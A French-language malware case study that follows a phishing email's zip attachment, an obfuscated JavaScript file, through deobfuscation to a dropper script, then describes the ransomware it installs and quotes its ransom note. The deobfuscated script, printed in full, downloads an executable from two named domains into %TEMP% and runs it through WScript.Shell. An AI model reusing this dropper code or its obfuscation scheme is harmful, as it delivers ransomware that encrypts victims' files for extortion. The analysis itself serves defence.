Étude de cas : Mail piégé => Ransomware

Une pièce jointe énigmatique

Plusieurs emails similaires reçus sur la boite d’une association.

L’émetteur tente de se faire passer pour une association locale. Le mail est adressé uniquement à d’autres associations elles aussi locales.

L’objet et le contenu du mail sont identiques :

DATE:12/7/2015 9:15:25 PM

Une pièce jointe nommé ui.zip est présente dans le mail. Elle contient elle-même un fichier invoice_Hdiw86.js. Voilà le contenu du fichier js,

[code]qGjOBZec=[0x4,0x8,[…],0x278,0x27d];
seMgUoF=[‘=’,’H’,[…],’f’,'”‘];
function X(LkEObFdAojiX,nNYCtVfxgyPFrP){LkEObFdAojiX.push(nNYCtVfxgyPFrP);}
function fNwgv(PkTwMvAGDBu,ZfCTIykaLxKsZ,uwuCBUdT){AXxZ=OADGgMDOZDXPACpsg(PkTwMvAGDBu,ZfCTIykaLxKsZ);aiMhp=AXxZ.toString(uwuCBUdT);return aiMhp;}
function PswFEBrBcfpSpnX(RLyLZfjWZTXEWwnlh,YcrfSdCfrHuwvXMAdKpVlCOMwvshbyNITB,
ErWwlPumUeNNevQnFXTmmoMaHCbuZCvOoun){eval(RLyLZfjWZTXEWwnlh);}
function mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE(NCdwKhnkSmTKZ,SNYkBvrHSWqvpB){ return seMgUoF[qGjOBZec[fNwgv(NCdwKhnkSmTKZ[SNYkBvrHSWqvpB],(16369+39)/586,(1518+932)/245)]];}
function owBSdyJ(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa) {return !AWOhLTHpjYC(YndDdAIKxqtAfLk(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa)) && eFwLixJjagVm(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa);}
function AWOhLTHpjYC(SwDqmwTCIUVEug) {return isNaN(SwDqmwTCIUVEug);}
function eFwLixJjagVm(VzesqKjqDRtPu) {return isFinite(VzesqKjqDRtPu);}
function OADGgMDOZDXPACpsg(ASfxNmskPV,GnQUANeZWr) {return parseInt(ASfxNmskPV,GnQUANeZWr);}
function YndDdAIKxqtAfLk(jUimLHMJxQascjwdNxh) {return parseFloat(jUimLHMJxQascjwdNxh);}
function v(XTpzWEjIizqqdR,BmDaWcjkOribg,kuNmZJZSvzg) {XTpzWEjIizqqdR[BmDaWcjkOribg]=kuNmZJZSvzg;}
W = new Array();W[0]=new Array();W[0][0]=[];W[0][0][0]=’d’;[…];W[0][5][1391]=’a’;var jjeOH=[W[0][0],W[0][1],W[0][2],W[0][3],W[0][4],W[0][5]];
var gzpIjFoim=[];function etRmloiyyyNaEPAdn(jjeOH){SjWPzBmuqrq= ”;HjpNdWOAcdY=Math.round((Math.pow(Math.sin(421), 2) + Math.pow(Math.cos(421), 2) – 1));while(true){if (HjpNdWOAcdY >= (4764+690)/909){break;}gzpIjFoim[HjpNdWOAcdY]=Math.round((Math.pow(Math.sin(512), 2) + Math.pow(Math.cos(512), 2) – 1)); while(true) { if(gzpIjFoim[HjpNdWOAcdY] > jjeOH[HjpNdWOAcdY].length-(193+247)/440) { break; } if (owBSdyJ(fNwgv(jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]],(26572+504)/967,(8818+912)/973))) {SjWPzBmuqrq += mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE([jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]]], Math.round((Math.pow(Math.sin(112), 2) + Math.pow(Math.cos(112), 2) – 1)));} gzpIjFoim[HjpNdWOAcdY]++;}HjpNdWOAcdY++;} return SjWPzBmuqrq}
var SebpfLrVCExNKMAmQcTrMQllORGDqcdzF = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;var uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;PswFEBrBcfpSpnX(etRmloiyyyNaEPAdn(jjeOH),
SebpfLrVCExNKMAmQcTrMQllORGDqcdzF,uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD);[/code]

On voit que c’est un fichier [b]JS obfuscé[/b]. On peut le rendre un peu plus lisible à l’aide d’un site comme http://jsbeautifier.org/,

[code]qGjOBZec = [0x4, 0x8, 0xb, 0x11, 0x16, 0x1c, 0x1f, 0x27, 0x2c, 0x2f, 0x35, 0x3a, 0x3d, 0x45, 0x46, 0x4e, 0x50, 0x57, 0x5d, 0x5f, 0x68, 0x6d, 0x70, 0x74, 0x7a, 0x81, 0x83, 0x89, 0x8c, 0x95, 0x98, 0x9d, 0xa4, 0xa6, 0xad, 0xb1, 0xb4, 0xba, 0xbf, 0xc5, 0xc9, 0xcf, 0xd5, 0xd9, 0xdf, 0xe3, 0xea, 0xed, 0xf0, 0xf7, 0xfc, 0x100, 0x104, 0x10c, 0x10e, 0x115, 0x118, 0x11e, 0x125, 0x12a, 0x12f, 0x131, 0x139, 0x13e, 0x141, 0x147, 0x14e, 0x153, 0x158, 0x15b, 0x15e, 0x166, 0x16c, 0x16e, 0x172, 0x179, 0x17f, 0x181, 0x187, 0x18c, 0x193, 0x198, 0x19a, 0x1a0, 0x1a8, 0x1ad, 0x1af, 0x1b3, 0x1bb, 0x1be, 0x1c2, 0x1cb, 0x1cc, 0x1d1, 0x1d8, 0x1de, 0x1e4, 0x1e8, 0x1eb, 0x1ef, 0x1f7, 0x1fc, 0x200, 0x204, 0x208, 0x211, 0x216, 0x21b, 0x21d, 0x224, 0x226, 0x22f, 0x231, 0x235, 0x23c, 0x240, 0x247, 0x24c, 0x24f, 0x256, 0x258, 0x260, 0x266, 0x26a, 0x26f, 0x274, 0x278, 0x27d];
seMgUoF = [‘=’, ‘H’, ‘D’, ‘-‘, ‘G’, ‘-‘, ‘B’, ‘8’, ‘E’, ‘9’, ‘z’, ‘%’, ‘W’, ‘)’, ‘C’, ‘s’, ‘I’, ‘>’, ‘r’, ‘h’, ‘o’, ‘t’, ‘^’, ‘ ‘, ‘h’, ‘Y’, ‘.’, ‘a’, ‘”‘, ‘:’, ‘e’, ‘g’, ‘/’, ‘p’, ‘6’, ‘X’, ‘V’, ‘n’, ‘Q’, ‘J’, ‘i’, ‘O’, ‘5’, ‘(‘, ‘<', 'S', 'n', '?', '%', '3', '6', '8', 'M', String.fromCharCode(10), 'L', '{', 'Z', '!', ' ', 'y', '$', ']', 'Y', '{', '@', 'd', 'j', '3', 'R', String.fromCharCode(13), '0', ')', 'o', 'K', '9', 'F', 'o', '/', '?', 'L', '#', 'u', 'T', '%', 'w', 'h', 'O', 'Y', 'i', '@', '&', 'G', '#', 'S', '’, ‘!’, ‘H’, ‘W’, ‘>’, ‘#’, ‘J’, ‘8’, ‘i’, ‘7’, ‘?’, ‘6’, ‘S’, ‘t’, ‘[‘, ‘h’, ‘P’, ‘=’, ‘u’, ‘G’, ‘F’, ‘^’, ‘,’, ‘]’, ‘D’, ‘h’, ‘#’, ‘)’, ‘s’, ‘G’, ‘m’, ‘P’, ‘.’, ‘f’, ‘V’, ‘v’, ‘D’, ‘W’, ‘2’, ‘Z’, ‘T’, ‘o’, ‘ ‘, ‘p’, ‘!’, ‘$’, ‘8’, ‘l’, ‘;’, ‘R’, ‘/’, ‘”‘, ‘`’, ‘=’, ‘M’, ‘#’, ‘{‘, ‘S’, ‘$’, ‘F’, ‘=’, ‘r’, ‘x’, ‘H’, ‘%’, ‘4’, ‘n’, ‘#’, ‘P’, ‘&’, ‘A’, ‘<', '6', 'Z', 'J', String.fromCharCode(39), '(', '=', ' ', '(', 'Y', '6', 'q', 'L', 'X', ')', 'I', 'D', 'L', '’, ‘3’, ‘G’, ‘A’, ‘<', '4', 'J', 'w', '3', 'W', '#', 'y', 'j', '5', '2', '6', 'z', 'D', 'D', 'g', 'n', 'w', '7', 'e', '.', '8', 'V', '.', 'm', 'a', '^', '9', 'u', 'M', 'E', 'm', 'y', '{', ':', 'o', '#', 'H', 's', ';', 'a', 'G', '(', 'Q', '’, ‘F’, ‘O’, ‘w’, ‘P’, ‘?’, ‘l’, ‘L’, ‘@’, ‘h’, ‘%’, ‘/’, ‘r’, ‘”‘, ‘A’, ‘x’, ‘r’, ‘I’, ‘ ‘, ‘F’, ‘O’, ‘B’, ‘n’, ‘S’, ‘/’, ‘(‘, ‘C’, ‘?’, ‘n’, ‘F’, ‘>’, ‘D’, ‘2’, ‘{‘, ‘E’, ‘K’, ‘6’, ‘F’, ‘_’, ‘h’, ‘H’, ‘O’, ‘F’, ‘k’, ‘_’, ‘G’, ‘v’, ‘e’, ‘F’, ‘a’, ‘]’, ‘H’, ‘*’, ‘I’, ‘a’, ‘2’, ‘K’, ‘J’, ‘_’, ‘w’, ‘p’, ‘(‘, ‘+’, ‘6’, ‘K’, ‘o’, ‘{‘, ‘?’, ‘4’, ‘P’, ‘L’, ‘d’, ‘M’, ‘P’, ‘k’, ‘H’, ‘7’, ‘n’, ‘N’, ‘!’, ‘7’, ‘N’, ‘M’, ‘O’, ‘1’, ‘O’, ‘B’, ‘;’, ‘.’, ‘2’, ‘P’, ‘z’, ”, ‘S’, ‘r’, ‘%’, ‘/’, ‘i’, ‘K’, ‘T’, ‘@’, ‘T’, ‘_’, ‘N’, ‘C’, ‘9’, ‘U’, ‘w’, ‘V’, ‘R’, ‘k’, ‘i’, ‘W’, ‘h’, ‘(‘, ‘x’, ‘d’, ‘V’, ‘”‘, ‘2’, ‘X’, ‘5’, ‘8’, ‘Y’, ‘d’, ‘y’, ‘C’, ‘Z’, ‘w’, ‘O’, ‘N’, ‘b’, ‘^’, ‘^’, ‘q’, ‘+’, ‘[‘, String.fromCharCode(92), ‘Y’, ‘L’, ‘D’, ‘4’, ‘]’, ‘j’, ‘+’, ‘e’, ‘p’, ‘$’, ‘g’, ‘^’, ‘%’, ‘_’, ‘4’, ‘e’, ‘J’, ‘_’, ‘N’, ‘7’, ‘z’, ‘/’, ‘{‘, ‘`’, ‘s’, ‘>’, ‘J’, ‘a’, ‘R’, ‘4’, ‘b’, ‘M’, ‘9’, ‘Z’, ‘c’, ‘y’, ‘s’, ‘%’, ‘N’, ‘A’, ‘F’, ‘X’, ‘d’, ‘L’, ‘E’, ‘m’, ‘0’, ‘e’, ‘S’, ‘Y’, ‘!’, ‘f’, ‘$’, ‘:’, ‘J’, ‘g’, ‘x’, ‘]’, ‘i’, ‘h’, ‘m’, ‘w’, ‘ ‘, ‘]’, ‘X’, ‘R’, ‘m’, ‘e’, ‘i’, ‘V’, ‘]’, ‘D’, ‘{‘, ‘j’, ‘g’, ‘`’, ‘)’, ‘l’, ‘k’, ‘[‘, ‘l’, ‘{‘, ‘!’, ”, ‘(‘, ‘h’, ‘z’, ‘8’, ‘0’, ‘I’, ‘.’, ‘f’, ‘”‘];

function X(LkEObFdAojiX, nNYCtVfxgyPFrP) {
LkEObFdAojiX.push(nNYCtVfxgyPFrP);
}

function fNwgv(PkTwMvAGDBu, ZfCTIykaLxKsZ, uwuCBUdT) {
AXxZ = OADGgMDOZDXPACpsg(PkTwMvAGDBu, ZfCTIykaLxKsZ);
aiMhp = AXxZ.toString(uwuCBUdT);
return aiMhp;
}

function PswFEBrBcfpSpnX(RLyLZfjWZTXEWwnlh, YcrfSdCfrHuwvXMAdKpVlCOMwvshbyNITB, ErWwlPumUeNNevQnFXTmmoMaHCbuZCvOoun) {
eval(RLyLZfjWZTXEWwnlh);
}

function mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE(NCdwKhnkSmTKZ, SNYkBvrHSWqvpB) {
return seMgUoF[qGjOBZec[fNwgv(NCdwKhnkSmTKZ[SNYkBvrHSWqvpB], (16369 + 39) / 586, (1518 + 932) / 245)]];
}

function owBSdyJ(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa) {
return !AWOhLTHpjYC(YndDdAIKxqtAfLk(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa)) && eFwLixJjagVm(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa);
}

function AWOhLTHpjYC(SwDqmwTCIUVEug) {
return isNaN(SwDqmwTCIUVEug);
}

function eFwLixJjagVm(VzesqKjqDRtPu) {
return isFinite(VzesqKjqDRtPu);
}

function OADGgMDOZDXPACpsg(ASfxNmskPV, GnQUANeZWr) {
return parseInt(ASfxNmskPV, GnQUANeZWr);
}

function YndDdAIKxqtAfLk(jUimLHMJxQascjwdNxh) {
return parseFloat(jUimLHMJxQascjwdNxh);
}

function v(XTpzWEjIizqqdR, BmDaWcjkOribg, kuNmZJZSvzg) {
XTpzWEjIizqqdR[BmDaWcjkOribg] = kuNmZJZSvzg;
}
W = new Array();
W[0] = new Array();
W[0][0] = [];
W[0][0][0] = ‘d’;
[…]
W[0][5][1391] = ‘a’;
var jjeOH = [W[0][0], W[0][1], W[0][2], W[0][3], W[0][4], W[0][5]];
var gzpIjFoim = [];

function etRmloiyyyNaEPAdn(jjeOH) {
SjWPzBmuqrq = ”;
HjpNdWOAcdY = Math.round((Math.pow(Math.sin(421), 2) + Math.pow(Math.cos(421), 2) – 1));
while (true) {
if (HjpNdWOAcdY >= (4764 + 690) / 909) {
break;
}
gzpIjFoim[HjpNdWOAcdY] = Math.round((Math.pow(Math.sin(512), 2) + Math.pow(Math.cos(512), 2) – 1));
while (true) {
if (gzpIjFoim[HjpNdWOAcdY] > jjeOH[HjpNdWOAcdY].length – (193 + 247) / 440) {
break;
}
if (owBSdyJ(fNwgv(jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]], (26572 + 504) / 967, (8818 + 912) / 973))) {
SjWPzBmuqrq += mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE([jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]]], Math.round((Math.pow(Math.sin(112), 2) + Math.pow(Math.cos(112), 2) – 1)));
}
gzpIjFoim[HjpNdWOAcdY]++;
}
HjpNdWOAcdY++;
}
return SjWPzBmuqrq
}
var SebpfLrVCExNKMAmQcTrMQllORGDqcdzF = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;
var uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;
PswFEBrBcfpSpnX(etRmloiyyyNaEPAdn(jjeOH), SebpfLrVCExNKMAmQcTrMQllORGDqcdzF, uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD);[/code]

Ce qui reste assez illisible. Je renomme les variables, fonctions, arguments, on retire les petites astuces du genre : [quote]var = sin²(x) + cos²(x) – 1[/quote]

[code]bigVar1 = [0x4, 0x8, 0xb, 0x11, 0x16, 0x1c, 0x1f, 0x27, 0x2c, 0x2f, 0x35, 0x3a, 0x3d, 0x45, 0x46, 0x4e, 0x50, 0x57, 0x5d, 0x5f, 0x68, 0x6d, 0x70, 0x74, 0x7a, 0x81, 0x83, 0x89, 0x8c, 0x95, 0x98, 0x9d, 0xa4, 0xa6, 0xad, 0xb1, 0xb4, 0xba, 0xbf, 0xc5, 0xc9, 0xcf, 0xd5, 0xd9, 0xdf, 0xe3, 0xea, 0xed, 0xf0, 0xf7, 0xfc, 0x100, 0x104, 0x10c, 0x10e, 0x115, 0x118, 0x11e, 0x125, 0x12a, 0x12f, 0x131, 0x139, 0x13e, 0x141, 0x147, 0x14e, 0x153, 0x158, 0x15b, 0x15e, 0x166, 0x16c, 0x16e, 0x172, 0x179, 0x17f, 0x181, 0x187, 0x18c, 0x193, 0x198, 0x19a, 0x1a0, 0x1a8, 0x1ad, 0x1af, 0x1b3, 0x1bb, 0x1be, 0x1c2, 0x1cb, 0x1cc, 0x1d1, 0x1d8, 0x1de, 0x1e4, 0x1e8, 0x1eb, 0x1ef, 0x1f7, 0x1fc, 0x200, 0x204, 0x208, 0x211, 0x216, 0x21b, 0x21d, 0x224, 0x226, 0x22f, 0x231, 0x235, 0x23c, 0x240, 0x247, 0x24c, 0x24f, 0x256, 0x258, 0x260, 0x266, 0x26a, 0x26f, 0x274, 0x278, 0x27d];
bigVar2 = [‘=’, ‘H’, ‘D’, ‘-‘, ‘G’, ‘-‘, ‘B’, ‘8’, ‘E’, ‘9’, ‘z’, ‘%’, ‘W’, ‘)’, ‘C’, ‘s’, ‘I’, ‘>’, ‘r’, ‘h’, ‘o’, ‘t’, ‘^’, ‘ ‘, ‘h’, ‘Y’, ‘.’, ‘a’, ‘”‘, ‘:’, ‘e’, ‘g’, ‘/’, ‘p’, ‘6’, ‘X’, ‘V’, ‘n’, ‘Q’, ‘J’, ‘i’, ‘O’, ‘5’, ‘(‘, ‘<', 'S', 'n', '?', '%', '3', '6', '8', 'M', String.fromCharCode(10), 'L', '{', 'Z', '!', ' ', 'y', '$', ']', 'Y', '{', '@', 'd', 'j', '3', 'R', String.fromCharCode(13), '0', ')', 'o', 'K', '9', 'F', 'o', '/', '?', 'L', '#', 'u', 'T', '%', 'w', 'h', 'O', 'Y', 'i', '@', '&', 'G', '#', 'S', '’, ‘!’, ‘H’, ‘W’, ‘>’, ‘#’, ‘J’, ‘8’, ‘i’, ‘7’, ‘?’, ‘6’, ‘S’, ‘t’, ‘[‘, ‘h’, ‘P’, ‘=’, ‘u’, ‘G’, ‘F’, ‘^’, ‘,’, ‘]’, ‘D’, ‘h’, ‘#’, ‘)’, ‘s’, ‘G’, ‘m’, ‘P’, ‘.’, ‘f’, ‘V’, ‘v’, ‘D’, ‘W’, ‘2’, ‘Z’, ‘T’, ‘o’, ‘ ‘, ‘p’, ‘!’, ‘$’, ‘8’, ‘l’, ‘;’, ‘R’, ‘/’, ‘”‘, ‘`’, ‘=’, ‘M’, ‘#’, ‘{‘, ‘S’, ‘$’, ‘F’, ‘=’, ‘r’, ‘x’, ‘H’, ‘%’, ‘4’, ‘n’, ‘#’, ‘P’, ‘&’, ‘A’, ‘<', '6', 'Z', 'J', String.fromCharCode(39), '(', '=', ' ', '(', 'Y', '6', 'q', 'L', 'X', ')', 'I', 'D', 'L', '’, ‘3’, ‘G’, ‘A’, ‘<', '4', 'J', 'w', '3', 'W', '#', 'y', 'j', '5', '2', '6', 'z', 'D', 'D', 'g', 'n', 'w', '7', 'e', '.', '8', 'V', '.', 'm', 'a', '^', '9', 'u', 'M', 'E', 'm', 'y', '{', ':', 'o', '#', 'H', 's', ';', 'a', 'G', '(', 'Q', '’, ‘F’, ‘O’, ‘w’, ‘P’, ‘?’, ‘l’, ‘L’, ‘@’, ‘h’, ‘%’, ‘/’, ‘r’, ‘”‘, ‘A’, ‘x’, ‘r’, ‘I’, ‘ ‘, ‘F’, ‘O’, ‘B’, ‘n’, ‘S’, ‘/’, ‘(‘, ‘C’, ‘?’, ‘n’, ‘F’, ‘>’, ‘D’, ‘2’, ‘{‘, ‘E’, ‘K’, ‘6’, ‘F’, ‘_’, ‘h’, ‘H’, ‘O’, ‘F’, ‘k’, ‘_’, ‘G’, ‘v’, ‘e’, ‘F’, ‘a’, ‘]’, ‘H’, ‘*’, ‘I’, ‘a’, ‘2’, ‘K’, ‘J’, ‘_’, ‘w’, ‘p’, ‘(‘, ‘+’, ‘6’, ‘K’, ‘o’, ‘{‘, ‘?’, ‘4’, ‘P’, ‘L’, ‘d’, ‘M’, ‘P’, ‘k’, ‘H’, ‘7’, ‘n’, ‘N’, ‘!’, ‘7’, ‘N’, ‘M’, ‘O’, ‘1’, ‘O’, ‘B’, ‘;’, ‘.’, ‘2’, ‘P’, ‘z’, ”, ‘S’, ‘r’, ‘%’, ‘/’, ‘i’, ‘K’, ‘T’, ‘@’, ‘T’, ‘_’, ‘N’, ‘C’, ‘9’, ‘U’, ‘w’, ‘V’, ‘R’, ‘k’, ‘i’, ‘W’, ‘h’, ‘(‘, ‘x’, ‘d’, ‘V’, ‘”‘, ‘2’, ‘X’, ‘5’, ‘8’, ‘Y’, ‘d’, ‘y’, ‘C’, ‘Z’, ‘w’, ‘O’, ‘N’, ‘b’, ‘^’, ‘^’, ‘q’, ‘+’, ‘[‘, String.fromCharCode(92), ‘Y’, ‘L’, ‘D’, ‘4’, ‘]’, ‘j’, ‘+’, ‘e’, ‘p’, ‘$’, ‘g’, ‘^’, ‘%’, ‘_’, ‘4’, ‘e’, ‘J’, ‘_’, ‘N’, ‘7’, ‘z’, ‘/’, ‘{‘, ‘`’, ‘s’, ‘>’, ‘J’, ‘a’, ‘R’, ‘4’, ‘b’, ‘M’, ‘9’, ‘Z’, ‘c’, ‘y’, ‘s’, ‘%’, ‘N’, ‘A’, ‘F’, ‘X’, ‘d’, ‘L’, ‘E’, ‘m’, ‘0’, ‘e’, ‘S’, ‘Y’, ‘!’, ‘f’, ‘$’, ‘:’, ‘J’, ‘g’, ‘x’, ‘]’, ‘i’, ‘h’, ‘m’, ‘w’, ‘ ‘, ‘]’, ‘X’, ‘R’, ‘m’, ‘e’, ‘i’, ‘V’, ‘]’, ‘D’, ‘{‘, ‘j’, ‘g’, ‘`’, ‘)’, ‘l’, ‘k’, ‘[‘, ‘l’, ‘{‘, ‘!’, ”, ‘(‘, ‘h’, ‘z’, ‘8’, ‘0’, ‘I’, ‘.’, ‘f’, ‘”‘];

W = new Array();
W[0] = new Array();
W[0][0] = [];
W[0][0][0] = ‘d’;
[…]
W[0][5][1391] = ‘a’;
var bigVar3 = [W[0][0], W[0][1], W[0][2], W[0][3], W[0][4], W[0][5]];
var bigTable1 = [];

function X(arg1, arg2) {
arg1.push(arg2);
}

function function2(arg1, arg2, arg3) {
var1 = function8(arg1, arg2);
var2 = var1.toString(arg3);
return var2;
}

function function4(arg1, arg2) {
return bigVar2[bigVar1[function2(arg1[arg2], 28, 10)]];
}

function function5(arg1) {
return !function6(function9(arg1)) && function7(arg1);
}

function function6(arg1) {
return isNaN(arg1);
}

function function7(arg1) {
return isFinite(arg1);
}

function function8(arg1, arg2) {
return parseInt(arg1, arg2);
}

function function9(arg1) {
return parseFloat(arg1);
}

function v(arg1, arg2, ar3) {
arg1[arg2] = arg3;
}

function function10(bigVar3) {
var1 = ”;
var2 = 0;
while (true) {
if (var2 >= 6) {
break;
}
bigTable1[var2] = 0;
while (true) {
if (bigTable1[var2] > bigVar3[var2].length – 1) {
break;
}
if (function5(function2(bigVar3[var2][bigTable1[var2]], 28, 10))) {
var1 += function4([bigVar3[var2][bigTable1[var2]]], 0);
}
bigTable1[var2]++;
}
var2++;
}
return var1
}
var strangeVar1 = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;
var strangeVar2 = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;
eval(function10(bigVar3), strangeVar1, strangeVar2);[/code]

Sans aller jusque là, on repère vite qu’une fonction ne fait qu’exécuter un [b]eval[/b] à la fin du résultat de ce qu’on a appelé [i]function10(bigVar3)[/i]. Si l’on souhaite savoir ce que va faire ce script il faut donc obtenir le résultat que renvoie cette fonction. On l’exécute et on récupère,

[code]function oEOfgFurS(LSYwcFUbFrr) {
var mAqYEipo = WScript.CreateObject(“Wscript.Shell”);
mAqYEipo.Run(LSYwcFUbFrr, 0x1, 0x0);
}
var v = “areyouwevenlisten.com/73.exe? beatifulgdf9dr.com/73.exe? ? ? ?”.split(” “);
var EBZ = ((1 /*oUtU514256596n983223uM354193eOiZ*/ ) ? “WScri” : “”) + “pt.Shell”;
var zD = WScript.CreateObject(EBZ);
var ZM = “%TEMP%\\”;
var Cnp = zD.ExpandEnvironmentStrings(ZM);
var dxv = new ActiveXObject(“Scripting” /*phxgBO6Fcfn*/ + “.File” + /*sWIJfsQ*/ “SystemObject”);
var oPIO = Cnp + “LdeKIdB\\”;
try {
dxv.CreateFolder(oPIO);
} catch (fCsMQo) {
};
var CCm = “2.XMLH”;
var Qnz = CCm + “TTP”;
var CA = true,
DdpT = “ADOD”;
var KZ = WScript.CreateObject(“MS” + “XML” + (976907, Qnz));
var KFb = WScript.CreateObject(DdpT + “B.St” + (99169, “ream”));
var WIx = 0;
var D = 1;
var tkSExIi = 758253;
for (var h = WIx; h 267308 – 851) {
kY = 1;
KFb.position = 0;
KFb.saveToFile /*ZlZW31OWTS*/ (oPIO /*rdm290OsZH*/ + tkSExIi + “.exe”, 4 – 2);
try {
if (((new Date()) > 0, 7404761888)) {
oEOfgFurS(oPIO + tkSExIi + /*mwtj32jzQD*/ “.exe” /*upm793Gskp*/ );
break;
}
} catch (TJ) {
};
};
KFb.close();
};
if (kY == 1) {
WIx = h;
break;
};
} catch (TJ) {
};
};[/code]

Voilà un nouveau script à analyser, on rend ça lisible et on commente,

[code]function function1(arg1) {
var var1 = WScript.CreateObject(“Wscript.Shell”);
var1.Run(arg1, 0x1, 0x0);
}

var v = “areyouwevenlisten.com/73.exe? beatifulgdf9dr.com/73.exe? ? ? ?”.split(” “); /* “areyouwevenlisten.com/73.exe?,beatifulgdf9dr.com/73.exe?,?,?,?” */
var EBZ = “WScript.Shell”;
var zD = WScript.CreateObject(EBZ);
var ZM = “%TEMP%\\”;
var Cnp = zD.ExpandEnvironmentStrings(ZM);
var dxv = new ActiveXObject(“Scripting.FileSystemObject”);
var oPIO = Cnp + “LdeKIdB\\”;

try {
dxv.CreateFolder(oPIO); /* On tente de créer le dossier %TEMP%\LdeKIdB\ */
} catch (fCsMQo) {};

var KZ = WScript.CreateObject(“MSXML2.XMLHTTP”);
var KFb = WScript.CreateObject(“ADODB.Stream”);
var WIx = 0;
for (var h = WIx; h < v.length; h++) {
var kY = 0;
try {
KZ.open("GET", "hxxp://" + v[h] + 1, false);
/* Ouverture de :
hxxp://areyouwevenlisten.com/73.exe?1
hxxp://beatifulgdf9dr.com/73.exe?1 266457) { /* Le fichier fait 385024 */
kY = 1; /* Fin de la boucle */
KFb.position = 0;
KFb.saveToFile(oPIO + 758253 + “.exe”, 2); // Crée le fichier %TEMP%LdeKIdB\758253.exe
try {
if (((new Date()) > 0, 7404761888)) {
function1(oPIO + 758253 + “.exe”); // La fonction execute le fichier %TEMP%LdeKIdB\758253.exe
break;
}
} catch (TJ) {};
};
KFb.close();
};
if (kY == 1) {
WIx = h;
break;
};
} catch (TJ) {};
};[/code]

On voit que le but de ce script est de télécharger, enregistrer et exécuter un fichier sur le PC de la victime.

Taux de détection du JS d’origine : https://www.virustotal.com/fr/file/f3cb6d6f4b88d7a1983cf87186e67c62905abb5a0f729b1d3661069d662f0102/analysis/1450391381/

Analyse du PE

Le taux de détection était vraiment mauvais à la première analyse : https://www.virustotal.com/fr/file/adddad99c31d16f949a388714f3cd40edfaf9473567d1e6045dccb96a99e19c1/analysis/. Maintenant c’est correct.

PEiD et StudPE ne trouvent pas de signature caractéristique. Le fichier ne semble pas packé. Avec Ressource Hacker on peut sortir une petite structure dans laquelle on va remarquer à la vue un [i]PNG[/i] et un [i]IHDR[/i], je n’ai pas extrait l’image (en fait j’ai pas trouvé le IEND ^^). On remarque également des boites de dialogues stockées dans les ressources. Dans les strings mis à part des messages de debug assez sales on ne trouve pas grand chose.

Le malware prend parfaitement bien en VM. Je vais utiliser trois outils pour l’analyse : [b]Process Monitor[/b], [b]Wireshark[/b] et [b]Regshot[/b].

Avant d’utiliser ces outils, à l’exécution on remarque que rapidement, tous les fichiers .txt, .png, .html, .zip, etc, ont une nouvelle extension .vvv. Le contenu est chiffré, les fichiers ont une en-tête commune :

[code]…..ï\8»èšïcÊdrµA.æ‘›™õ_Çß¿¶«_ˆ.s—™û.V^#vk׎ætF˜r¾.=d€ºÜ4º.›…Û©UÐ.R‡21809A75C525AC3BD5995D5504F31172835B136816253C058
E275A9468B9FA6D660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30… ºÂ€-ô.唲..‘sJe‰¡ùI.°.în.^Â=.£Ä‚J>|.lv”$.(½ùLªè².’jUÞJ Œ$VÓIS.³3383485A2C60621CDE639A2FEF2BF7AC82AD4CA31EDA73064CC2566908DD9A7C6CD2A25CA38B
DD229240B4F314B489CC379DD273C3A84CE4CA4A7F89F3E3A920..’Q.¿1.i&.x—+˜}öŸ[/code]

On peut donc supposer que la même clé de chiffrement est utilisée pour tous les fichiers. On voit par ailleurs deux séquences de 128 caractères hexadécimaux se répéter :
[code]3383485A2C60621CDE639A2FEF2BF7AC82AD4CA31EDA73064CC2566908DD9A7C6CD2A25CA38BDD229240B
4F314B489CC379DD273C3A84CE4CA4A7F89F3E3A920
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D660F368A12F46D4EEF
8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30[/code]

Le programme met des [i]Howto_Restore_FILES.TXT[/i] partout, il en affiche un à la fin du processus, il affiche également une image avec les mêmes instructions, et une page web qui explique que RSA-4096 a été utilisé, qu’il faut se rendre sur une des [i]pages personnelles[/i] que l’on a crée spécialement pour nous, au cas où il y a également une page en service caché [i]Tor[/i].

[code] __!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__
!@#!@#!__!@#!@#!

NOT YOUR LANGUAGE? USE hxxps://translate.google.com

What happened to your files ?
All of your files were protected by a strong encryption with RSA-4096.
More information about the encryption keys using RSA-4096 can be found here: hxxp://en.wikipedia.org/wiki/RSA_(cryptosystem)

How did this happen ?
!!! Specially for your PC was generated personal RSA-4096 KEY, both public and private.
!!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

What do I do ?
So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BTC NOW, and restore your data easy way.
If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment.

